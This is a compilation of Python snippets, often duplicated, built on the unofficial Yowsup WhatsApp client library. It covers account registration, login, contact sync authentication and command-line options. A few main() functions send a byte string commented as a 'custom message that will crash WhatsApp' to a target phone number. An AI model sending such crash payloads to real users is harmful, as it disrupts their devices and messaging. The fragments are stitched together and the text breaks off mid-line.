def __init__(self): credentials = getCredentials(DEFAULT_CONFIG) countryCode, login, identity, password = credentials identity = Utilities.processIdentity(identity) password = base64.b64decode(bytes(password.encode('utf-8'))) dissected = dissectPhoneNumber(login) countryCode, phoneNumber = dissected Debugger.enabled = False self.message_queue = Queue() self.image_queue = Queue() self.wa = Responder(True, True) self.wa.login(login, password) self.ir = ImageRecognizer() t = threading.Thread(target=self.message_worker) t.setDaemon(True) t.start() t = threading.Thread(target=self.image_worker) t.setDaemon(True) t.start() #self.wa.sendMessage("*****@*****.**", "mensage") # self.wa.sendImage("*****@*****.**", 'https://mmi202.whatsapp.net/d/CL_rmBHbf2zN7eveJAybclR3NxQABQjYFCz-IA/As27Ab_T5VQdV3q5ORfNadEbC5n8w9SB9uSZZs811e_u.jpg', 'image.jpg', '145800', # '/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCABkAEsDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYn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MfmJXJAyNpA9as2oKC3X7NBA1n8ilow0seGLY8xstwSeM4rRj0iUPGJ7uCFTyy2yNK3/fZ2qD16BufWti7s7C8e9mj0yOS6dfNBlYyKxBy52H5NxGW+7yc+tUoiucjrOkXepaymoafFPfw3zbmMClxHIOHQnnaM8jPABAycGuiTwDfa5pEcWrBLC5t2CwSHErGM5LKwU44JyOT1NQxzX6TwPDLJ/o5HlKPux49B0Axx9K6HxD4m1BI7f7CqxRzr8rovmPvBwyjtkH9CD9KsxXPK/FWkaZ4V1A2ktlJc3SYYTXTEpJxwVjXaMZ/vFu4rf0bx7okOmW8d74WtmuFXDNDbxqp54IBHHGPxrft/DWreI7OaPWY5Y3T95a3dzgupPVCv3tpHPbBHuasQ/Cmy8pftOo3DS4+Yxoqr+AOf50adQPCPhEFu/iPaNIiqJRKrKgwMGNuBXR/DjwtZeK7C8vtUluVeDcQkLKqtgZ5yCfyIooqSjpRqzxLaWVna2ltb2BYW+yLe8e45Yh3LMCT1wRWlYXc5vI7qSV5ZkdXDSMWyRgjP5UUU0SdFsC3F1GPuR3EiKPQByAPyq6yCz3vDkOgLqSehH/AOqiirRJJZ+H7W51S7hkluRawSfLAjhE6DjgZ4zjr2rqbGytrCAQ2cKQxA52qOp9T6miiokykWKKKKkZ/9k=') # self.wa.sendMessage("*****@*****.**", "mensagem 2") #self.wa.sendLocation("*****@*****.**", "nome", '-22.8233998', '-47.0748121') while self.wa.running: pass exit(1)
def __init__(self, config = DEFAULT_CONFIG, keepAlive = False): credentials = getCredentials(config) if credentials: countryCode, login, identity, password = credentials identity = Utilities.processIdentity(identity) password = base64.b64decode(bytes(password.encode('utf-8'))) if countryCode: phoneNumber = login[len(countryCode):] else: sys.exit("ERROR. Check cc in config") else: raise IOError("Couldn't find the config file") Debugger.enabled = True self.phoneNumber = phoneNumber self.jid = "*****@*****.**" % phoneNumber self.sendReceipts = False # Auto ack flag, keep False while developing self.username = login self.password = password self.keepAlive = keepAlive self.unreadMsges = deque()
def __init__(self,cc, p_in, idx, method="sms"): super(WACodeRequest,self).__init__(); self.p_in = p_in #number self.addParam("cc", cc); self.addParam("in", p_in); self.addParam("lc", "US"); self.addParam("lg", "en"); self.addParam("mcc", "000"); self.addParam("mnc", "000"); self.addParam("method", method); self.addParam("id", idx) self.currentToken = Utilities.readToken() if self.currentToken: print("Read token from %s " % os.path.expanduser(Constants.tokenStorage)) else: self.currentToken = Constants.tokenData self.addParam("token", self.getToken(p_in, self.currentToken["t"])) self.url = "v.whatsapp.net/v2/code" self.pvars = ["status","reason","length", "method", "retry_after", "code", "param"] +\ ["login", "pw", "type", "expiration", "kind", "price", "cost", "currency", "price_expiration"] self.setParser(JSONResponseParser())
def send(self, parser=None): res = super(WACodeRequest, self).send(parser) #attempt recovery by fetching new token if res: if res["status"] == "fail": if res["reason"] in ("old_version", "bad_token" ) and Utilities.tokenCacheEnabled: print("Failed, reason: %s. Checking for a new token.." % res["reason"]) res = WARequest.sendRequest(Constants.tokenSource[0], 80, Constants.tokenSource[1], {}, {}) if res: tokenData = res.read() pvars = ["v", "r", "u", "t", "d"] jParser = JSONResponseParser() parsed = jParser.parse(tokenData.decode(), pvars) if (parsed["v"] != self.currentToken["v"] or parsed["r"] != self.currentToken["r"] or parsed["u"] != self.currentToken["u"] or parsed["t"] != self.currentToken["t"] or parsed["d"] != self.currentToken["d"]): self.currentToken = parsed print("Fetched a new token, persisting !") self.removeParam("token") print("Now retrying the request..") self.addParam( "token", self.getToken(self.p_in, self.currentToken["t"])) else: print("No new tokens :(") res = super(WACodeRequest, self).send(parser) if res and res["status"] != "fail": Utilities.persistToken(tokenData) #good token return res
def getUserAgent(self): tokenData = Utilities.readToken() if tokenData: agent = tokenData["u"] else: agent = Constants.tokenData["u"] return agent
def existsRequest(self): result = WAExistsRequest(self.cc, self.number, YowsupUtils.processIdentity(self.deviceIMEI)).send() if "status" in result and result["status"] is not None: if result["status"] == "ok": self.gotAccountData.emit(result) else: self.verificationFailed.emit("") else: self.verificationFailed.emit("Err: No status received. Try again.")
def send(self, parser = None): res = super(WACodeRequest, self).send(parser) #attempt recovery by fetching new token if res: if res["status"] == "fail": if res["reason"] in ("old_version", "bad_token") and Utilities.tokenCacheEnabled: print("Failed, reason: %s. Checking for a new token.." % res["reason"]) res = WARequest.sendRequest(Constants.tokenSource[0], 80, Constants.tokenSource[1], {}, {}) if res: tokenData = res.read() pvars = ["v", "r", "u", "t", "d"] jParser = JSONResponseParser() parsed = jParser.parse(tokenData.decode(), pvars) if( parsed["v"] != self.currentToken["v"] or parsed["r"] != self.currentToken["r"] or parsed["u"] != self.currentToken["u"] or parsed["t"] != self.currentToken["t"] or parsed["d"] != self.currentToken["d"] ): self.currentToken = parsed print("Fetched a new token, persisting !") self.removeParam("token") print("Now retrying the request..") self.addParam("token", self.getToken(self.p_in, self.currentToken["t"])) else: print("No new tokens :(") res = super(WACodeRequest, self).send(parser) if res and res["status"] != "fail": Utilities.persistToken(tokenData) #good token return res
def main(phone): credentials = getCredentials(MINE_CONFIG or DEFAULT_CONFIG ) if credentials: countryCode, login, identity, password = credentials identity = Utilities.processIdentity(identity) password = base64.b64decode(password) # Custom message that will crash WhatsApp message = message = "#RemoteExecution?
def existsRequest(self): result = WAExistsRequest(self.cc, self.number, YowsupUtils.processIdentity( self.deviceIMEI)).send() if "status" in result and result["status"] is not None: if result["status"] == "ok": self.gotAccountData.emit(result) else: self.verificationFailed.emit("") else: self.verificationFailed.emit("Err: No status received. Try again.")
def _requestRegistrationCode(self, method, methodDescription): countryCode, phoneNumber = self._getPhone() req = WACodeRequestV2(countryCode, phoneNumber, Utilities.processIdentity(self._identity), method) response = req.send() if self._isResponseOK(response, countryCode, phoneNumber): if len(response.get('pw', '')) > 0: self._passwordReceived(response['pw']) else: message = 'You should receive a %s with your registration code soon.\n' % methodDescription message += 'Enter it in the registration dialog to register for your password.\n' message += 'Server responded with:\n\n' + '\n'.join(['%s : %s' % (k, v) for k, v in response.items() if v is not None]) print 'Registration Code Requested:\n', message QMessageBox.information(self, 'Registration Code Requested', message)
def on_registerButton_clicked(self): code = self.registrationCodeEdit.text().replace(' ', '').replace('-', '') countryCode, phoneNumber = self._getPhone() req = WARegRequestV2(countryCode, phoneNumber, code, Utilities.processIdentity(self._identity)) response = req.send() if self._isResponseOK(response, countryCode, phoneNumber): if len(response.get('pw', '')) > 0: self._passwordReceived(response['pw']) else: message = 'Something went wrong. Server sent OK, but no password:\n\n' message += '\n'.join(['%s : %s' % (k, v) for k, v in response.items() if v is not None]) print 'Registration Failed:\n', message QMessageBox.warning(self, 'Registration Failed', message)
def add_contactMobile(self, request): code = request.code number = request.number facebook = request.facebook userInfo = UserInfo.query(UserInfo.tel == 2281301632).get() usuario = Contacto(tel=number, face_info=facebook, tel_country_code = code) usuario.put() userInfo.contactos.append(usuario) identity = Utilities.processIdentity('') response = CodeRegResponse() userInfo.put() return response
def send_cwmex(wu_cc, wu_phone_number, wu_passwd, dst_phone, body_mex): countryCode = wu_cc login = wu_cc + wu_phone_number identity = IDENTITY password = wu_passwd identity = Utilities.processIdentity(identity) password = base64.b64decode(bytes(password.encode('utf-8'))) phoneNumber = wu_phone_number phone = dst_phone message = body_mex.encode('utf-8') wa = WhatsappEchoClient(phone, message, False) wa.login(login, password)
def send_cwmex(wu_cc, wu_phone_number, wu_passwd, dst_phone, body_mex): countryCode = wu_cc login = wu_cc+wu_phone_number identity = IDENTITY password = wu_passwd identity = Utilities.processIdentity(identity) password = base64.b64decode(bytes(password.encode('utf-8'))) phoneNumber = wu_phone_number phone = dst_phone message = body_mex.encode('utf-8') wa = WhatsappEchoClient(phone, message, False) wa.login(login, password)
def main(phone): credentials = getCredentials(MINE_CONFIG or DEFAULT_CONFIG ) if credentials: countryCode, login, identity, password = credentials identity = Utilities.processIdentity(identity) password = base64.b64decode(password) # Custom message that will crash WhatsApp message = message = "\xf4\xaa\xde\x04\xbf" #print countryCode, login, identity, password wa = WhatsappEchoClient(phone, message) wa.login(login, password)
def main(phone): credentials = getCredentials(MINE_CONFIG or DEFAULT_CONFIG) if credentials: countryCode, login, identity, password = credentials identity = Utilities.processIdentity(identity) password = base64.b64decode(password) # Custom message that will crash WhatsApp message = message = "\xf4\xaa\xde\x04\xbf" #print countryCode, login, identity, password wa = WhatsappEchoClient(phone, message) wa.login(login, password)
def add_contactMobile(self, request): code = request.code number = request.number facebook = request.facebook userInfo = UserInfo.query(UserInfo.tel == 2281301632).get() usuario = Contacto(tel=number, face_info=facebook, tel_country_code=code) usuario.put() userInfo.contactos.append(usuario) identity = Utilities.processIdentity('') response = CodeRegResponse() userInfo.put() return response
def authCode_request(self, request): user = users.get_current_user() if user: cc = request.cc number = request.number userInfo = UserInfo.query(UserInfo.user == user).get() if not userInfo: userInfo = UserInfo( contacto=Contacto(tel=number, tel_country_code=cc)) else: userInfo.contacto.tel = number userInfo.contacto.tel_country_code = cc identity = Utilities.processIdentity('') cc = str(cc) number = str(number) wc = WACodeRequestV2(cc, number, identity, 'sms') result = wc.send() response = CodeReqResponse() response.price_expiration = str(result['price_expiration']) response.pw = str(result['pw']) response.login = result['login'] response.currency = str(result['currency']) response.status = str(result['status']) response.cost = str(result['cost']) response.length = str(result['length']) response.method = str(result['method']) response.type = str(result['type']) response.retry_after = str(result['retry_after']) response.price = str(result['price']) response.expiration = str(result['expiration']) response.reason = str(result['reason']) response.param = str(result['param']) response.code = str(result['code']) response.kind = str(result['kind']) if response.pw: userInfo.whats_app_info = response.pw userInfo.user = user userInfo.put() return response else: return CodeReqResponse(reason='Invalid user')
def __init__(self, username, password, nonce = "0"): super(WAContactsSyncAuth, self).__init__(); self.url = "sro.whatsapp.net/v2/sync/a" self.type = "POST" cnonce = Utilities.str(random.randint(100000000000000,1000000000000000), 36) credentials = bytearray((username+":s.whatsapp.net:").encode()) credentials.extend(password) if sys.version_info >= (3, 0): buf = lambda x: bytes(x, 'iso-8859-1') if type(x) is str else bytes(x) else: buf = buffer response = self.encode( self.md5( self.encode( self.md5( self.md5( buf ( credentials ) ) + (":" + nonce + ":" + cnonce).encode() ) ) + (":"+nonce+":" + WAContactsSyncAuth.nc+":" + cnonce + ":auth:").encode() + self.encode( self.md5(("AUTHENTICATE:"+WAContactsSyncAuth.digestUri).encode()) ))).decode() authField = WAContactsSyncAuth.authTemplate.format(auth_method = WAContactsSyncAuth.authMethod, username = username, realm = WAContactsSyncAuth.realm, nonce = nonce, cnonce = cnonce, nc= WAContactsSyncAuth.nc, digest_uri = WAContactsSyncAuth.digestUri, response = response) self.addHeaderField("Authorization", authField) self.pvars = ["message"] self.setParser(JSONResponseParser())
def authCode_request(self, request): user = users.get_current_user() if user: cc = request.cc number = request.number userInfo = UserInfo.query(UserInfo.user == user).get() if not userInfo: userInfo = UserInfo(contacto=Contacto(tel=number, tel_country_code=cc)) else: userInfo.contacto.tel = number userInfo.contacto.tel_country_code = cc identity = Utilities.processIdentity('') cc = str(cc) number = str(number) wc = WACodeRequestV2(cc, number, identity, 'sms') result = wc.send() response = CodeReqResponse() response.price_expiration = str(result['price_expiration']) response.pw = str(result['pw']) response.login = result['login'] response.currency = str(result['currency']) response.status = str(result['status']) response.cost = str(result['cost']) response.length = str(result['length']) response.method = str(result['method']) response.type = str(result['type']) response.retry_after = str(result['retry_after']) response.price = str(result['price']) response.expiration = str(result['expiration']) response.reason = str(result['reason']) response.param = str(result['param']) response.code = str(result['code']) response.kind = str(result['kind']) if response.pw: userInfo.whats_app_info = response.pw userInfo.user = user userInfo.put() return response else: return CodeReqResponse(reason='Invalid user')
def on_registerButton_clicked(self): code = self.registrationCodeEdit.text().replace(' ', '').replace('-', '') countryCode, phoneNumber = self._getPhone() req = WARegRequestV2(countryCode, phoneNumber, code, Utilities.processIdentity(self._identity)) response = req.send() if self._isResponseOK(response, countryCode, phoneNumber): if len(response.get('pw', '')) > 0: self._passwordReceived(response['pw']) else: message = 'Something went wrong. Server sent OK, but no password:\n\n' message += '\n'.join([ '%s : %s' % (k, v) for k, v in response.items() if v is not None ]) print 'Registration Failed:\n', message QMessageBox.warning(self, 'Registration Failed', message)
def add_contact(self, request): user = users.get_current_user() if user: code = request.code number = request.number facebook = request.facebook userInfo = UserInfo.query(UserInfo.user == user).get() usuario = Contacto(tel=number, face_info=facebook, tel_country_code = code) usuario.put() userInfo.contactos.append(usuario) identity = Utilities.processIdentity('') response = CodeRegResponse() userInfo.put() return response else: return CodeReqResponse(reason='Invalid user')
def __init__(self, username, password, nonce="0"): super(WAContactsSyncAuth, self).__init__() self.url = "sro.whatsapp.net/v2/sync/a" self.type = "POST" cnonce = Utilities.str( random.randint(100000000000000, 1000000000000000), 36) credentials = bytearray((username + ":s.whatsapp.net:").encode()) credentials.extend(password) if sys.version_info >= (3, 0): buf = lambda x: bytes(x, 'iso-8859-1') if type( x) is str else bytes(x) else: buf = buffer response = self.encode( self.md5( self.encode( self.md5( self.md5(buf(credentials)) + (":" + nonce + ":" + cnonce).encode())) + (":" + nonce + ":" + WAContactsSyncAuth.nc + ":" + cnonce + ":auth:").encode() + self.encode( self.md5(("AUTHENTICATE:" + WAContactsSyncAuth.digestUri ).encode())))).decode() authField = WAContactsSyncAuth.authTemplate.format( auth_method=WAContactsSyncAuth.authMethod, username=username, realm=WAContactsSyncAuth.realm, nonce=nonce, cnonce=cnonce, nc=WAContactsSyncAuth.nc, digest_uri=WAContactsSyncAuth.digestUri, response=response) self.addHeaderField("Authorization", authField) self.pvars = ["message"] self.setParser(JSONResponseParser())
def _requestRegistrationCode(self, method, methodDescription): countryCode, phoneNumber = self._getPhone() req = WACodeRequestV2(countryCode, phoneNumber, Utilities.processIdentity(self._identity), method) response = req.send() if self._isResponseOK(response, countryCode, phoneNumber): if len(response.get('pw', '')) > 0: self._passwordReceived(response['pw']) else: message = 'You should receive a %s with your registration code soon.\n' % methodDescription message += 'Enter it in the registration dialog to register for your password.\n' message += 'Server responded with:\n\n' + '\n'.join([ '%s : %s' % (k, v) for k, v in response.items() if v is not None ]) print 'Registration Code Requested:\n', message QMessageBox.information(self, 'Registration Code Requested', message)
def registerRequest(self, code): code = "".join(code.split('-')) #remove hyphen self._d("should register with code %s" % code) result = WARegRequest(self.cc, self.number, code, YowsupUtils.processIdentity(self.deviceIMEI)).send() if "status" in result and result["status"] is not None: if result["status"] == "ok": self.gotAccountData.emit(result) else: errMessage = "Failed!" if result["reason"] is not None: errMessage = errMessage + " Server said '%s'." % result["reason"] if result["retry_after"] is not None: errMessage = errMessage + " Retry after: %s" % result["retry_after"] self.registrationFailed.emit(errMessage) else: self.registrationFailed.emit("Err: No status received")
def add_contact(self, request): user = users.get_current_user() if user: code = request.code number = request.number facebook = request.facebook userInfo = UserInfo.query(UserInfo.user == user).get() usuario = Contacto(tel=number, face_info=facebook, tel_country_code=code) usuario.put() userInfo.contactos.append(usuario) identity = Utilities.processIdentity('') response = CodeRegResponse() userInfo.put() return response else: return CodeReqResponse(reason='Invalid user')
def __init__(self, username, password, nonce="0"): super(WAContactsSyncAuth, self).__init__() self.url = "sro.whatsapp.net/v2/sync/a" self.type = "POST" cnonce = Utilities.str(random.randint(100000000000000, 1000000000000000), 36) credentials = bytearray(username + ":s.whatsapp.net:") credentials.extend(password) response = self.encode( self.md5( self.encode(self.md5(self.md5(buffer(credentials)) + ":" + nonce + ":" + cnonce)) + ":" + nonce + ":" + WAContactsSyncAuth.nc + ":" + cnonce + ":auth:" + self.encode(self.md5("AUTHENTICATE:" + WAContactsSyncAuth.digestUri)) ) ) authField = WAContactsSyncAuth.authTemplate.format( auth_method=WAContactsSyncAuth.authMethod, username=username, realm=WAContactsSyncAuth.realm, nonce=nonce, cnonce=cnonce, nc=WAContactsSyncAuth.nc, digest_uri=WAContactsSyncAuth.digestUri, response=response, ) self.addHeaderField("Authorization", authField) self.pvars = ["message"] self.setParser(JSONResponseParser())
def codeRequest(self, cc, number, reqType): self.number = number self.cc = cc if reqType in ("sms", "voice"): result = WACodeRequest( cc, number, YowsupUtils.processIdentity(self.deviceIMEI), reqType).send() if reqType == "sms": self.statusUpdated.emit("reg_a") if "status" in result: self._d(result["status"]) if result["status"] == "sent": if reqType == "voice": self.voiceCodeRequested.emit() else: self.statusUpdated.emit("reg_b") elif result["status"] == "ok": self.gotAccountData.emit(result) else: reason = result["status"] if result["reason"] is not None: reason = reason + " reason: %s" % result["reason"] if result["retry_after"] is not None: reason = reason + " retry after %s" % result[ "retry_after"] if result["param"] is not None: reason = reason + ": %s" % result["param"] self.registrationFailed.emit(reason) else: self.registrationFailed.emit("Err: No status received")
def registerRequest(self, code): code = "".join(code.split('-')) #remove hyphen self._d("should register with code %s" % code) result = WARegRequest(self.cc, self.number, code, YowsupUtils.processIdentity( self.deviceIMEI)).send() if "status" in result and result["status"] is not None: if result["status"] == "ok": self.gotAccountData.emit(result) else: errMessage = "Failed!" if result["reason"] is not None: errMessage = errMessage + " Server said '%s'." % result[ "reason"] if result["retry_after"] is not None: errMessage = errMessage + " Retry after: %s" % result[ "retry_after"] self.registrationFailed.emit(errMessage) else: self.registrationFailed.emit("Err: No status received")
def codeRequest(self, cc, number, reqType): self.number = number self.cc = cc if reqType in ("sms", "voice"): result = WACodeRequest(cc, number, YowsupUtils.processIdentity(self.deviceIMEI), reqType).send() if reqType == "sms": self.statusUpdated.emit("reg_a") if "status" in result: self._d(result["status"]) if result["status"] == "sent": if reqType == "voice": self.voiceCodeRequested.emit() else: self.statusUpdated.emit("reg_b"); elif result["status"] == "ok": self.gotAccountData.emit(result) else: reason = result["status"] if result["reason"] is not None: reason = reason + " reason: %s" % result["reason"] if result["retry_after"] is not None: reason = reason + " retry after %s" % result["retry_after"] if result["param"] is not None: reason = reason + ": %s" % result["param"] self.registrationFailed.emit(reason) else: self.registrationFailed.emit("Err: No status received")
def authCode_register(self, request): user = users.get_current_user() if user: cc = request.cc number = request.number userInfo = UserInfo.query(UserInfo.user == user).get() identity = Utilities.processIdentity('') wr = WARegRequestV2(str(request.cc), str(request.number), str(request.code), identity) result = wr.send() response = CodeRegResponse() response.price = str(result['price']) response.pw = str(result['pw']) response.retry_after = str(result['retry_after']) response.expiration = str(result['expiration']) response.reason = str(result['reason']) response.status = str(result['status']) response.price_expiration = str(result['price_expiration']) response.login = result['login'] response.cost = str(result['cost']) response.kind = str(result['kind']) response.currency = str(result['currency']) response.type = str(result['type']) userInfo.contacto.tel = number userInfo.contacto.tel_country_code = cc if request.code: userInfo.whats_app_info = str(request.code) userInfo.put() return response else: return CodeReqResponse(reason='Invalid user')
def mainProcess(argumentsPro): #pdb.set_trace() parser = argparse.ArgumentParser(description='yowsup-cli Command line options') clientsGroup = parser.add_argument_group("Client options") regGroup = parser.add_argument_group("Registration options") modes = clientsGroup.add_mutually_exclusive_group() modes.add_argument('-l','--listen', help='Listen to messages', action="store_true", required=False, default=False) modes.add_argument('-s','--send', help="Send message to phone number and close connection. Phone is full number including country code, without '+' or '00'", action="store", nargs=2, metavar=('<phone>','<message>'), required=False) modes.add_argument('-p','--sendImage', help="Send image to phone number and close connection. Phone is full number including country code, without '+' or '00'", action="store", nargs=2, metavar=('<phone>','<image path>'), required=False) modes.add_argument('-i','--interactive', help="Start an interactive conversation with a contact. Phone is full number including country code, without '+' or '00'", action="store", metavar='<phone>', required=False) modes.add_argument('-b','--broadcast', help="Broadcast message to multiple recepients, comma seperated", action="store", nargs=2, metavar=('<jids>', '<message>'), required=False) #modes.add_argument('-b','--bot', help='Bot', action="store_true", required=False, default=False) clientsGroup.add_argument('-w','--wait', help='If used with -s, then connection will not close until server confirms reception of the message', action="store_true", required=False, default=False) clientsGroup.add_argument('-a','--autoack', help='If used with -l or -i, then a message received ack would be automatically sent for received messages', action="store_true", required=False, default=False) clientsGroup.add_argument('-k','--keepalive', help="When used with -l or -i, Yowsup will automatically respond to server's ping requests to keep connection alive", action="store_true", required=False, default=False) regSteps = regGroup.add_mutually_exclusive_group() regSteps.add_argument("-r", '--requestcode', help='Request the 3 digit registration code from Whatsapp.', action="store", required=False, metavar="(sms|voice)") regSteps.add_argument("-R", '--register', help='Register account on Whatsapp using the provided 3 digit code', action="store", required=False, metavar="code") regSteps.add_argument("-e", '--exists', help='Check if account credentials are valid. WARNING: Whatsapp now changes your password everytime you use this. Make sure you update your config file if the output informs about a password change', action="store_true", required=False) contactOptions = parser.add_argument_group("Contacts options").add_mutually_exclusive_group(); contactOptions.add_argument('--sync', help='Sync provided numbers. Numbers should be comma-separated. If a number is not in international format, Whatsapp will assume your own country code for it. Returned data indicate which numbers are whatsapp users and which are not. For Whatsapp users, it will return some info about each user, like user status.', metavar="numbers", action="store", required=False) debugTools = parser.add_argument_group("Debug tools").add_mutually_exclusive_group(); debugTools.add_argument('--generatepassword', help="Generate password from given string in same way Whatsapp generates it from a given IMEI or MAC Address", action="store", metavar="input") debugTools.add_argument('--decodestring', help="Decode byte arrays found in decompiled version of Whatsapp. Tested with S40 version. Input should be comma separated without the enclosing brackets. Example: ./yowsup-cli --decodestring 112,61,100,123,114,103,96,114,99,99,61,125,118,103", action="store", metavar="encoded_array") parser.add_argument("--help-config", help="Display info about configuration format", action="store_true") parser.add_argument('-c','--config', help="Path to config file containing authentication info. For more info about config format use --help-config", action="store", metavar="file", required=False, default=False) #parser.add_argument('-D','--dbus', help='Start DBUS interface', action="store_true", required=False, default=False) parser.add_argument('-I','--ignorecached', help="Don't use cached token if exists", action="store_true", required=False, default=False) parser.add_argument('-d','--debug', help='Enable debug messages', action="store_true", required=False, default=False) parser.add_argument('-v', '--version', help="Print version info and exit", action='store_true', required=False, default=False) args = vars(parser.parse_args(argumentsPro)) if len(sys.argv) == 1: parser.print_help() elif args["help_config"]: print(CONFIG_HELP) elif args["version"]: print("yowsup-cli %s, using Yowsup %s"%(__version__, Constants.v)) else: credentials = getCredentials(args["config"] or DEFAULT_CONFIG) if credentials: #cc, phone, idx, pw, admingp, adminusr, operatorusr, clientusr, nobodyusr countryCode, login, identity, password = credentials identity = Utilities.processIdentity(identity) password = base64.b64decode(bytes(password.encode('utf-8'))) if countryCode: phoneNumber = login[len(countryCode):] else: dissected = dissectPhoneNumber(login) if not dissected: sys.exit("ERROR. Couldn't detect cc, you have to manually place it your config") countryCode, phoneNumber = dissected Debugger.enabled = args['debug'] if args["ignorecached"]: Utilities.tokenCacheEnabled = False if args["interactive"]: #val = args["interactive"] #wa = WhatsappCmdClient(val, args['keepalive'] ,args['autoack']) #wa.login(login, password) pass elif args['send']: #pdb.set_trace() phone = args["send"][0] message = args["send"][1] wa = WhatsappEchoClient(phone, message, args['wait']) wa.login(login, password) elif args["sendImage"]: phone = args["sendImage"][0] imagePath = args["sendImage"][1] wa = UploaderClient(phone, imagePath, args['wait']) wa.login(login, password) elif args['listen']: #pdb.set_trace() wa = WhatsappListenerClient(args['keepalive'], args['autoack']) wa.login(login, password) wa.listening() elif args['broadcast']: phones = args["broadcast"][0] message = args["broadcast"][1] wa = WhatsappEchoClient(phones, message, args['wait']) wa.login(login, password) elif args["requestcode"]: method = args["requestcode"] if method not in ("sms","voice"): print("coderequest accepts only sms or voice as a value") else: wc = WACodeRequestV2(countryCode, phoneNumber, identity, method) result = wc.send() print(resultToString(result)) elif args["register"]: code = args["register"] code = "".join(code.split('-')) wr = WARegRequestV2(countryCode, phoneNumber, code, identity) result = wr.send() print(resultToString(result)) elif args["exists"]: we = WAExistsRequestV2(countryCode, phoneNumber, identity) result = we.send() print(resultToString(result)) if result["pw"] is not None: print("\n=========\nWARNING: %s%s's has changed by server to \"%s\", you must update your config file with the new password\n=========" %(countryCode, phoneNumber, result["pw"])) elif args["sync"]: contacts = args["sync"].split(',') wsync = WAContactsSyncRequest(login, password, contacts) print("Syncing %s contacts" % len(contacts)) result = wsync.send() print(resultToString(result)) elif args["dbus"]: startDbusInterface() elif args["generatepassword"]: print(Utilities.processIdentity(args["generatepassword"])); elif args["decodestring"]: print(Utilities.decodeString(map(int, "".join(args["decodestring"].split(' ')).split(',')))) else: print("Error: config file is invalid")
def mainProcess(argumentsPro): #pdb.set_trace() parser = argparse.ArgumentParser( description='yowsup-cli Command line options') clientsGroup = parser.add_argument_group("Client options") regGroup = parser.add_argument_group("Registration options") modes = clientsGroup.add_mutually_exclusive_group() modes.add_argument('-l', '--listen', help='Listen to messages', action="store_true", required=False, default=False) modes.add_argument( '-s', '--send', help= "Send message to phone number and close connection. Phone is full number including country code, without '+' or '00'", action="store", nargs=2, metavar=('<phone>', '<message>'), required=False) modes.add_argument( '-p', '--sendImage', help= "Send image to phone number and close connection. Phone is full number including country code, without '+' or '00'", action="store", nargs=2, metavar=('<phone>', '<image path>'), required=False) modes.add_argument( '-i', '--interactive', help= "Start an interactive conversation with a contact. Phone is full number including country code, without '+' or '00'", action="store", metavar='<phone>', required=False) modes.add_argument( '-b', '--broadcast', help="Broadcast message to multiple recepients, comma seperated", action="store", nargs=2, metavar=('<jids>', '<message>'), required=False) #modes.add_argument('-b','--bot', help='Bot', action="store_true", required=False, default=False) clientsGroup.add_argument( '-w', '--wait', help= 'If used with -s, then connection will not close until server confirms reception of the message', action="store_true", required=False, default=False) clientsGroup.add_argument( '-a', '--autoack', help= 'If used with -l or -i, then a message received ack would be automatically sent for received messages', action="store_true", required=False, default=False) clientsGroup.add_argument( '-k', '--keepalive', help= "When used with -l or -i, Yowsup will automatically respond to server's ping requests to keep connection alive", action="store_true", required=False, default=False) regSteps = regGroup.add_mutually_exclusive_group() regSteps.add_argument( "-r", '--requestcode', help='Request the 3 digit registration code from Whatsapp.', action="store", required=False, metavar="(sms|voice)") regSteps.add_argument( "-R", '--register', help='Register account on Whatsapp using the provided 3 digit code', action="store", required=False, metavar="code") regSteps.add_argument( "-e", '--exists', help= 'Check if account credentials are valid. WARNING: Whatsapp now changes your password everytime you use this. Make sure you update your config file if the output informs about a password change', action="store_true", required=False) contactOptions = parser.add_argument_group( "Contacts options").add_mutually_exclusive_group() contactOptions.add_argument( '--sync', help= 'Sync provided numbers. Numbers should be comma-separated. If a number is not in international format, Whatsapp will assume your own country code for it. Returned data indicate which numbers are whatsapp users and which are not. For Whatsapp users, it will return some info about each user, like user status.', metavar="numbers", action="store", required=False) debugTools = parser.add_argument_group( "Debug tools").add_mutually_exclusive_group() debugTools.add_argument( '--generatepassword', help= "Generate password from given string in same way Whatsapp generates it from a given IMEI or MAC Address", action="store", metavar="input") debugTools.add_argument( '--decodestring', help= "Decode byte arrays found in decompiled version of Whatsapp. Tested with S40 version. Input should be comma separated without the enclosing brackets. Example: ./yowsup-cli --decodestring 112,61,100,123,114,103,96,114,99,99,61,125,118,103", action="store", metavar="encoded_array") parser.add_argument("--help-config", help="Display info about configuration format", action="store_true") parser.add_argument( '-c', '--config', help= "Path to config file containing authentication info. For more info about config format use --help-config", action="store", metavar="file", required=False, default=False) #parser.add_argument('-D','--dbus', help='Start DBUS interface', action="store_true", required=False, default=False) parser.add_argument('-I', '--ignorecached', help="Don't use cached token if exists", action="store_true", required=False, default=False) parser.add_argument('-d', '--debug', help='Enable debug messages', action="store_true", required=False, default=False) parser.add_argument('-v', '--version', help="Print version info and exit", action='store_true', required=False, default=False) args = vars(parser.parse_args(argumentsPro)) if len(sys.argv) == 1: parser.print_help() elif args["help_config"]: print(CONFIG_HELP) elif args["version"]: print("yowsup-cli %s, using Yowsup %s" % (__version__, Constants.v)) else: credentials = getCredentials(args["config"] or DEFAULT_CONFIG) if credentials: #cc, phone, idx, pw, admingp, adminusr, operatorusr, clientusr, nobodyusr countryCode, login, identity, password = credentials identity = Utilities.processIdentity(identity) password = base64.b64decode(bytes(password.encode('utf-8'))) if countryCode: phoneNumber = 